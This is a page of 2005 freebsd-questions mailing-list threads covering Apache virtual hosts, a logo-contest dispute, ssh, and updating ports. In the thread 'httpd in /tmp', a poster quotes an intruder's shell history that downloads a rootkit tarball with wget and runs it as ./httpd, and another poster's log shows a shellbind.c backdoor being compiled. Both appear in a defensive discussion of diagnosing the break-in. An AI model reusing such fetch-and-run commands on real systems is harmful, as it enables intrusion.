than you need to. At the very least, you're making the description more complicated than you need to. Don't worry about virtual hosts on Apache until you have the DNS configured for the addresses. And don't worry about the DNS until you have all of the IP addresses configured on the relevant interface. So the first step will be configuring the interface. Verify this by pinging each of the addresses from outside. The next step will be configuring the DNS, which you can test by pinging the distinct DNS name for each address in turn. Then once that is working, you can configure Apache to handle IP-based virtual hosts for each address. Good luck. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: single box handling multiple ips, how?
On Friday 11 February 2005 02:54, Lowell Gilbert wrote: Ken Hawkins [EMAIL PROTECTED] writes: I do not know what the 'web1.a.net.' is about, more specifically he .net. (dot on the end). i took this for the initial setup that was done on the box' initial entry in the /etc/hosts. It looks like a DNS map, but that's not what should go in hosts(5). a view on my /etc/hosts ::1 localhost.localnet localhost 127.0.0.1 localhost.localnet localhost 192.168.xxx.3 thispc.localnet thispc 192.168.xxx.3 thispc.localnet. 192.168.xxx.2 pc02.localnet pc02 192.168.xxx.5 pc03.localnet pc03 192.168.xxx.8 pc04.localnet pc04 ok what am i doing... I have apache running on the box and would like to use 3 diffferent IP's to try and keep (somewhat separate) the traffic, logging, etc. for the Virtual Hosts that are running there. ultimately I will have; ip address 1 resolve to - website 1 ip address 2 resolve to - website 2 ip address 3 resolve to - website 3 obviously they will bind to the same box but i would like to have them to separate ip's to ease some maintenance on the box, redirect traffic when needed, blah, blah. I know that I can Name more than one VirtualHost ie; NameVirtualHost ???.???.???.151:80 NameVirtualHost ???.???.???.152:80 NameVirtualHost ???.???.???.153:80 and then the normal VirtualHost directive via IP's but I want to make sure that the box will answer to those ip's when we flip the DNS switch. am i making sense? did i leave anything beyond the bind directive's out? Sure, it makes sense, but you're making it more complicated than you need to. At the very least, you're making the description more complicated than you need to. Don't worry about virtual hosts on Apache until you have the DNS configured for the addresses. And don't worry about the DNS until you have all of the IP addresses configured on the relevant interface. So the first step will be configuring the interface. Verify this by pinging each of the addresses from outside. The next step will be configuring the DNS, which you can test by pinging the distinct DNS name for each address in turn. Then once that is working, you can configure Apache to handle IP-based virtual hosts for each address. Good luck. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Logo Contest
On Friday 11 February 2005 03:49, Technical Director wrote: On Thu, 10 Feb 2005, Mike Hauber wrote: weeks to figure out how to use correct grammar in an announcement or a responce (and even if the grammar is left _so_ wanting, take a look at the archives for this list. It can't be all _that_ bad, can it?) not everyone here has english for mother language, so, before going for grammar, id rather keep in mind what this discussion was started with. You raise issue with the grammar of tech heads who probably failed english as I did, yet you'll not at least accept that the logo on a professional scale leaves little to offer to someone trying to get a board room full of decision makers to move on it? just had to drop in. you guys make a holy war out of a logo contest, then youre better than me. and for a personal thing of mine, would you please leave terms like decision makers out of here, i just have the certain feeling that youre referring to the manager type of person, who does not ever go to a serverroom or really look at anything important anyways. of course thats my subjective perspective, you might enlighten me on that one if you got some examples of decision makers who actually got an idea about how the world is really turning around. Everyone is forgetting the obvious here. FreeBSD is *either* the fri*ee*ndly little OS, denoted by that 'cute' daemon, or it is a competitive alternative to the bird cage boxes that Microsoft, Sun, Compaq and the rest of the big group puts their product in. was that really the question or are that facts, i mean, does FreeBSD really want to compete with companies, or do their own thing. what was it from what ive read... freebsd core dev team is around ~200 peoples working on the code? how about giving them a chance to speak up their thoughts for a change? We want FreeBSD Java, FreeBSD hardware drivers and all the new hardware to go with our system. Yet if these companies see our sites, cds or books what do they get first? do we? for a single person trying to speak plural... you got quite an ego there... Cute I guess. You would think that the core group had removed the entire source tree on this and replaced it with KERNEL32.EXE and an assortment of *.dlls for some reason here. are we going on the psychoanalysis now? I think it is an interesting competition with little expense surely to give good amounts of items to ponder. Maybe some graphix guru out there will be able to cross the worlds from the evangelist daemon'ists to the reformists? everyone has his refrain, so you finally made your point, thats good. 2 cents. Rob. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Logo Contest
for answering a discussion about a logo contest youre taking a quite wide turn, dont you guys think? On Thursday 10 February 2005 23:34, Anthony Atkielski wrote: Garance A Drosihn writes: You've never heard of a startup firm? Perhaps a startup made of recent college graduates? They might not kill for the chance, but if they do have some spare time they might find this an attractive project to spend some time on. People who want to make money don't do freebies. A very common mistake made by artists going into business is giving away work for free, under the misconception that this will somehow lead to paying business. In reality, it just leads to requests for more freebies, or to nothing at all. Thus, serious artists are going to expect to be paid money. Uh, the same could be said for programming. So why are you using an open-source operating system which is largely supported by people who are NOT paid to work on it? And who give it away for Free? These are people who earn a living by other means. Nobody who doesn't have other sources of income writes software for free. Listen, if all we come up with is crappy logo submissions, then we won't actually switch to any new logo. We're just trying to see what people *can* come up with, and maybe reward them a little bit for making the effort. No problem with that. But don't assume that any professionals (or professional-level artists) will jump forward and give you free work for the hypothetical exposure. FreeBSD doesn't have anything remotely near the kind of exposure that would be useful for a graphic artist, even were he willing to give away his work for free. Not only is the FreeBSD community relatively quite small, but the people who do see the work would not be potential customers. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Logo Contest
On Friday 11 February 2005 04:15, Technical Director wrote: and for a personal thing of mine, would you please leave terms like decision makers out of here, i just have the certain feeling that youre referring to the manager type of person, who does not ever go to a serverroom or really look at anything important anyways. of course thats my subjective perspective, you might enlighten me on that one if you got some examples of decision makers who actually got an idea about how the world is really turning around. Okay Rob, you can have one FreeBSD box, on your desktop... im not rob, but thanks, already got one) Now it's 12... 12 in production and spreading. The people who make the decisions DON'T have a clue, they never experience the trenches as it were, and doubtful that they ever will. The problem is that Tech is a bowl of jello. Look at the color. interresting thought, so its a sweet tasting thing that youd like to drink? (in case i translated jello right, cause this is not my mother language...) Look at the jiggle... These guys who sign the bottom line and tell us, the workers, what to do have the say on what we get to use or not to use. (Unless you work in some far of neverland. If so, are they hiring?) whats neverland? (assides from alice in wonderland story...) have you read that book, good literature, but youre kinda referring in a funny way to it. And where do they get their info? dont ask me, im a grease monkey, i do actually keep things running. was that really the question or are that facts, i mean, does FreeBSD really want to compete with companies, or do their own thing. Do there own thing? It would be interesting how you might quantify that? And I am not even encouraging competing with the other companies, but at least give a chance to those who have to. i dont know, thats why i used a vague phrase for it, im actually waiting for the answers of the FreeBSD peoples on all of that discussion anyways... you might ask them first, and not me. what was it from what ive read... freebsd core dev team is around ~200 peoples working on the code? how about giving them a chance to speak up their thoughts for a change? http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributors/staff-core .html This would be the core team I refer to. thanks for the url, im gonna look that one up. i dont know where i got my data from, i think i actually read some topics in the news about it. do we? for a single person trying to speak plural... you got quite an ego there... we -- If you will recall was in quotes. [ exasperated sigh ] i am answering you and and that other guy, both of you. Rob. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: httpd in /tmp - Sound advice sought
i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: - wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz --- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their successes directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. Thanks, Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: httpd in /tmp - Sound advice sought
not from the log output you just showed, id look back further on the webserver logs, and also take a look on other running processes on your server, ps auxf ... other good tools to find installed rootkits: rkhunter (youll find that in the ports collection, at least on a 5.3) sockstat.c (easy to find via google) and have a close look into your /proc fs, in case you have a procfs mounted. also check your webserver for world writeable directories, and for cross site scripting problems, that wget was called from the webserver looks like some kind of bug in a script, that is used by a webpage, that the attacker tried to use... On Wednesday 09 February 2005 18:41, Bret Walker wrote: Thanks for letting me know. I found this in the my httpd error log: [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not exist: /usr/local/www/data/favicon.ico wget: permission denied ./httpd: not found shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows) [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer (errno: 54) I also found shellbind.c in my /tmp directory. Is there a way to tell what type of exploit was used to get these files on my system (ie OpenSSL / PHP register_globals)? I've been monitoring this server from a port that mirrors its traffic using Ethereal, and all seems to be okay now. I also cvsuped -Rr my apache+mod_ssl install. Thanks, Bret -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner Sent: Wednesday, February 09, 2005 8:48 AM To: Bret Walker; freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: - wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz --- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their successes directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required
Re: Please don't change Beastie to another crap logo such as NetBSD!!!
well, i am quite new to freebsd, one of the things that got me curious enough to give it a try was the current logo, i like the beastie, it just has the perfect all around look, so why change it? never change a running system Greetings Oliver Leitner Technical Staff http://www.shells.at On Wednesday 09 February 2005 19:32, Charles-André Landemaine wrote: This will sign the death of FreeBSD. How could they believe such crap?! Who said beastie is evil?! This is totally non-sense, it's a logo, it's not the CD cover of a heavy-metal release...! I think the reasons are the same as NetBSD. Do extremist Republicans threaten BSD distros? The word daemon in greek means server (the person, not the hardware). This is neither good nor bad, if it has to be either one, then it's good. Oh please, wake me up, it's a nightmare!!! ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Please don't change Beastie to another crap logo such as NetBSD!!!
On Wednesday 09 February 2005 20:07, Hexren wrote: See the thread The FreeBSD Project is announcing a public competition for the new logo design. in -advocacy - I've already replied with my views on the subject, along the same lines as your comments. I'm not subscribed to -advocacy can you provide me with an archive link to this thread in question? I wasn't able to find it based on the subject you provided. JG You can follow this post at: JG http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ - quoteAnd this daemon character seems cute from somebody's point of view, but somebody may think which does not suit for the professional products to indicate that are using the FreeBSD inside./quote i know a certain penguin who doesnt look professional at all and is the most famous animal in it scene by now. Not my line of thought. I like the logo and its charm :) Hexren ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Please don't change Beastie to another crap logo such as NetBSD!!!
if we dont take care of the little things around us, what right do we have to be upset on the bigger ones? On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote: Charles-André Landemaine wrote: This will sign the death of FreeBSD. Oh please, wake me up, it's a nightmare!!! Come on now, is changing the logo ALL that BAD? Companies and organizations do it all the time. Who cares? It's not like a new logo will introduce new bugs and vulnerabilities in your OS! Change is good. Time to try something different. I think some folks should relax and not get too upset. There are worse things going on in the world... ...my 2 cents... ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Please don't change Beastie to another crap logo such as NetBSD!!!
On Wednesday 09 February 2005 22:33, Mark Rowlands wrote: On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED] wrote: See the thread The FreeBSD Project is announcing a public competition for the new logo design. in -advocacy - I've already replied with my views on the subject, along the same lines as your comments. I'm not subscribed to -advocacy can you provide me with an archive link to this thread in question? I wasn't able to find it based on the subject you provided. Put freebsd advocacy into Google, click on the link for the list, click on the link for the archive, and check out February's posts. There are a total of 4 posts listed, 3 of them with the Subject: The FreeBSD Project is announcing a public competition for the new logo design. How hard was that ? please take this thread elsewhere...anywhere why? ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Please don't change Beastie to another crap logo such as NetBSD!!!
On Wednesday 09 February 2005 22:56, Frank Laszlo wrote: Oliver Leitner wrote: On Wednesday 09 February 2005 22:33, Mark Rowlands wrote: On Wednesday 09 February 2005 21:06, Timothy Luoma wrote: On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED] wrote: See the thread The FreeBSD Project is announcing a public competition for the new logo design. in -advocacy - I've already replied with my views on the subject, along the same lines as your comments. I'm not subscribed to -advocacy can you provide me with an archive link to this thread in question? I wasn't able to find it based on the subject you provided. Put freebsd advocacy into Google, click on the link for the list, click on the link for the archive, and check out February's posts. There are a total of 4 posts listed, 3 of them with the Subject: The FreeBSD Project is announcing a public competition for the new logo design. How hard was that ? please take this thread elsewhere...anywhere why? This is a Questions list. And this is clearly not a question. Thus, it does not belong here, it belongs on -chat or -advocacy. i think the threadstarter was asking a question, and he just put his own opinion to it, i think thats a good reason why it should come to this mailinglist, after all it fits the two major reasons, why there are mailinglists. 1. ppls ask questions. 2. ppls tell their opinion on things. __ Frank Laszlo System Administrator The VonOstin Group Email: [EMAIL PROTECTED] WWW:http://www.vonostingroup.com Mobile: 248-863-7584 -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ssh root@localhost
add your user to the wheel group that might do the trick. Greetings Oliver Leitner Technical Staff http://www.shells.at On Wednesday 02 February 2005 12:16, Gert Cuykens wrote: Why does it not accept my password ? I# ssh [EMAIL PROTECTED] Password: Password: Password: Permission denied (publickey,keyboard-interactive). I# ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ssh root@localhost
oops, the others are right, i was wrong, i was thinking just two steps ahead once again...) On Wednesday 02 February 2005 12:38, Oliver Leitner wrote: add your user to the wheel group that might do the trick. Greetings Oliver Leitner Technical Staff http://www.shells.at On Wednesday 02 February 2005 12:16, Gert Cuykens wrote: Why does it not accept my password ? I# ssh [EMAIL PROTECTED] Password: Password: Password: Permission denied (publickey,keyboard-interactive). I# ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: keeping freebsd uptodate - doubt
On Wednesday 02 February 2005 14:19, saravanan ganapathy wrote:
Hai ,
I have installed 5.3 release and want to keep my
system uptodate with the security patches.
Based on many guides, I have arranged as a doc. Pls
confirm me whether my steps are ok
1) Install portupgrade
2) Sync ports
Ports-supfile contains as
*default host=cvsup10.us.freebsd.org
*default base=/var/db
*default prefix=/usr
*default release=cvs tag=.
*default delete use-rel-suffix
ports-all
( or should I change tag=RELENG_5_3 )
cvsup -g -L 2 /root/ports-supfile
3) portsdb -Uu
4) portversion -v
5) portupgrade -arR { to upgrade from all the lower
versions of applications )
id add the following things:
1. install portaudit.
2. portupgrade portdir/portname (e.g. portupgrade lang/perl5)
3. if portupgrade portdir/portname doesnt do, use the -f flag.
4. install freebsd-update from the security ports dir.
5. freebsd-update fetch
6. freebsd-update install
7. in case freebsd-update did find new kernel modules, you might eventually
want to reboot the machine.
Any other steps to do?
What 'make fetchindex' will do?
make fetchindex from what i might tell does the same as portsdb -Uu
(if i got that wrong, please forgive me... i just had my first month with BSD)
Pls guide me
Sarav
__
Do you Yahoo!?
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
[EMAIL PROTECTED]
Greetings
Oliver Leitner
Technical Staff
http://www.shells.at
--
By reading this mail you agree to the following:
using or giving out the email address and any
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: keeping freebsd uptodate - doubt
to add something...
pkg_version -v pkgversions.txt
then you might check the generated textfile for current packages which are
outdated, and need to be upgraded...
On Wednesday 02 February 2005 14:25, Oliver Leitner wrote:
On Wednesday 02 February 2005 14:19, saravanan ganapathy wrote:
Hai ,
I have installed 5.3 release and want to keep my
system uptodate with the security patches.
Based on many guides, I have arranged as a doc. Pls
confirm me whether my steps are ok
1) Install portupgrade
2) Sync ports
Ports-supfile contains as
*default host=cvsup10.us.freebsd.org
*default base=/var/db
*default prefix=/usr
*default release=cvs tag=.
*default delete use-rel-suffix
ports-all
( or should I change tag=RELENG_5_3 )
cvsup -g -L 2 /root/ports-supfile
3) portsdb -Uu
4) portversion -v
5) portupgrade -arR { to upgrade from all the lower
versions of applications )
id add the following things:
1. install portaudit.
2. portupgrade portdir/portname (e.g. portupgrade lang/perl5)
3. if portupgrade portdir/portname doesnt do, use the -f flag.
4. install freebsd-update from the security ports dir.
5. freebsd-update fetch
6. freebsd-update install
7. in case freebsd-update did find new kernel modules, you might eventually
want to reboot the machine.
Any other steps to do?
What 'make fetchindex' will do?
make fetchindex from what i might tell does the same as portsdb -Uu
(if i got that wrong, please forgive me... i just had my first month with
BSD)
Pls guide me
Sarav
__
Do you Yahoo!?
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
[EMAIL PROTECTED]
Greetings
Oliver Leitner
Technical Staff
http://www.shells.at
--
By reading this mail you agree to the following:
using or giving out the email address and any
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: keeping freebsd uptodate - doubt
On Wednesday 02 February 2005 14:57, saravanan ganapathy wrote: --- Karol Kwiatkowski [EMAIL PROTECTED] wrote: saravanan ganapathy wrote: Hai , I have installed 5.3 release and want to keep my system uptodate with the security patches. Based on many guides, I have arranged as a doc. Pls confirm me whether my steps are ok 1) Install portupgrade 2) Sync ports Ports-supfile contains as *default host=cvsup10.us.freebsd.org *default base=/var/db *default prefix=/usr *default release=cvs tag=. *default delete use-rel-suffix ports-all OK ( or should I change tag=RELENG_5_3 ) No, tag=. is exactly what is needed for updating ports. cvsup -g -L 2 /root/ports-supfile OK 3) portsdb -Uu From 'man portsdb': -U --updateindex Update or create the ports index file called INDEX. from 'man ports': fetchindex Fetch the INDEX file from the FreeBSD cluster. Generating INDEX with 'portsdb -U' can take a while. Alternatively, you could run 'cd /usr/ports make fetchindex' which will download that file for you. so point 3) could be like: 3-a) cd /usr/ports 3-b) make fetchindex 3-c) portsdb -u This is *much* faster but, of course, there's nothing wrong with 'portsdb -Uu'. 4) portversion -v 'portversion -v | grep -v = ' is what I use. Any other steps to do? Above procedure updates (only) your ports tree and installed ports. Subscribe to freebsd-announce and keep your system up-to-date. What 'make fetchindex' will do? See above (point 3). Thx for ur responses I have done the above steps to update my system and when I run 'portversion -v | grep -v = ', I am gettin g the perl package only. freebsd# portversion -v | grep -v = perl-5.8.5needs updating (port has 5.8.6_1) freebsd# portupgrade perl --- Upgrading 'perl-5.8.5' to 'perl-5.8.6_1' (lang/perl5.8) --- Building '/usr/ports/lang/perl5.8' === Cleaning for perl-5.8.6_1 === perl-5.8.6_1 has known vulnerabilities: = perl -- File::Path insecure file/directory permissions. Reference: http://www.FreeBSD.org/ports/portaudit/c418d472-6bd1-11d9-93ca-000a95bc6fa e.html = Please update your ports tree and try again. *** Error code 1 Stop in /usr/ports/lang/perl5.8. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portupgrade5864.0 make ** Fix the problem and try again. ** Listing the failed packages (*:skipped / !:failed) ! lang/perl5.8 (perl-5.8.5) (unknown build error) --- Packages processed: 0 done, 0 ignored, 0 skipped and 1 failed How to solve this problem? portupgrade -f portname... Sarav __ Do you Yahoo!? Yahoo! Mail - now with 250MB free storage. Learn more. http://info.mail.yahoo.com/mail_250 ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: keeping freebsd uptodate - doubt
On Wednesday 02 February 2005 15:11, saravanan ganapathy wrote:
--- Oliver Leitner [EMAIL PROTECTED] wrote:
On Wednesday 02 February 2005 14:19, saravanan
ganapathy wrote:
Hai ,
I have installed 5.3 release and want to keep my
system uptodate with the security patches.
Based on many guides, I have arranged as a doc.
Pls
confirm me whether my steps are ok
1) Install portupgrade
2) Sync ports
Ports-supfile contains as
*default host=cvsup10.us.freebsd.org
*default base=/var/db
*default prefix=/usr
*default release=cvs tag=.
*default delete use-rel-suffix
ports-all
( or should I change tag=RELENG_5_3 )
cvsup -g -L 2 /root/ports-supfile
3) portsdb -Uu
4) portversion -v
5) portupgrade -arR { to upgrade from all the
lower
versions of applications )
id add the following things:
1. install portaudit.
2. portupgrade portdir/portname (e.g. portupgrade
lang/perl5)
3. if portupgrade portdir/portname doesnt do, use
the -f flag.
4. install freebsd-update from the security ports
dir.
5. freebsd-update fetch
6. freebsd-update install
7. in case freebsd-update did find new kernel
modules, you might eventually
want to reboot the machine
what freebsd-update fetch install will do?
Sarav
freebsd-update keeps the non-ports part of freebsd up to date.
__
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
[EMAIL PROTECTED]
--
